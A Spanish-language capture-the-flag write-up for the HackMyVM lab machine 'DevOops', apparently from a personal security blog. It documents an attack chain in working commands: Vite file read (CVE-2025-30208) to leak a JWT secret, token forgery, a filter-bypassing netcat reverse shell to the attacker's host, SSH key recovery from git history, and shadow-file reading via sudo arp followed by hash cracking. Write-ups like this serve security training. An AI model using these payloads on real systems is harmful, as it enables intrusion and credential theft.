cd ~/blog

~/writeups/hmv/128-devoops.md

128 - DevOops

easy Linux hmv 24-06-2025
Vite Arbitrary File Read (CVE-2025-30208)JWT secret disclosure + forgeryCommand filter bypass (string obfuscation)Git history SSH key leaksudo arp file read
hackmyvm.eu/machines/machine.php?vm=DevOops

~1 min de lectura


Enumeramos puertos:

 nmap -sCV -p 3000 -oN 02-targeted.txt 192.168.1.9
...
3000/tcp open  ppp?
|     Blocked request. This host (undefined) is not allowed.
|     allow this host, add undefined to `server.allowedHosts` in vite.config.js.
...

El servicio usa Vite. En /@vite/client confirmamos la versión 6.2, vulnerable a Arbitrary File Read (CVE-2025-30208):

 searchsploit vite
...
Vite 6.2.2 - Arbitrary File Read | multiple/remote/52111.py
...

El truco es añadir ?raw?? al final de la ruta. Leemos /etc/passwd y el .env:

 curl 'http://192.168.1.9:3000/etc/passwd?raw??' | grep '/bin/sh'
root:x:0:0:root:/root:/bin/sh
hana:x:1001:100::/home/hana:/bin/sh

 curl 'http://192.168.1.9:3000/.env?raw??'
...
export default "JWT_SECRET='2942szKG7Ev83aDviugAa6rFpKixZzZz'\nCOMMAND_FILTER='nc,python,...'"
...

Con el JWT_SECRET forjamos un token de admin (jwt.io) y accedemos al endpoint /execute:

 curl -g -H "Authorization: Bearer eyJ...JkM" "http://192.168.1.9:3000/execute?cmd=id"
{"status":"executed","data":{"stdout":"uid=1000(runner) ...\n","stderr":""}}

Hay comandos bloqueados, pero los sorteamos con string obfuscation (concatenación de comillas) para lanzar una reverse shell:

 curl -s -H 'Authorization: Bearer eyJ...JkM' 'http://192.168.1.9:3000/execute?cmd=n""c+192.168.1.6+1234+-e+s""h'

 ncat -nlvp 1234
Ncat: Connection from 192.168.1.9:43975.
id
uid=1000(runner) gid=1000(runner) groups=1000(runner)

Listando procesos vemos un Gitea. Copiamos su repositorio y revisamos el historial de git, que contiene una clave SSH borrada en un commit:

find / -name "*gitea*" 2>/dev/null
...
/opt/gitea/git/hana/node.git
...

cp -r ./node.git/ /tmp/repo/.git
git log
...
    del: oops!
...

git show 1994a70bbd080c633ac85a339fd85a8635c63893
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAA...
-----END OPENSSH PRIVATE KEY-----

SSH solo escucha localmente, así que hacemos port forwarding con socat y entramos como hana:

socat TCP-LISTEN:4444,fork TCP:127.0.0.1:22

 ssh hana@192.168.1.9 -p 4444 -i id_rsa
devoops:~$

Obtenemos la primera flag. Revisamos sudo -l:

devoops:~$ sudo -l
...
User hana may run the following commands on devoops:
    (root) NOPASSWD: /sbin/arp

arp -f permite leer archivos arbitrarios. Leemos /etc/shadow y crackeamos el hash de root con hashcat:

devoops:~$ sudo arp -v -f "/etc/shadow"
...
>> root:$6$FGoCakO3/TPFyfOf$6eojvYb2zPpVHYs2eYkMKETlkki...:20200:0:::::
...

 hashcat -m 1800 '$6$FGoCakO3/TPFyfOf$...' ~/Documentos/wordlists/rockyou.txt
...
:eris
...

devoops:~$ su root
Password: eris
/home/hana # whoami
root

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados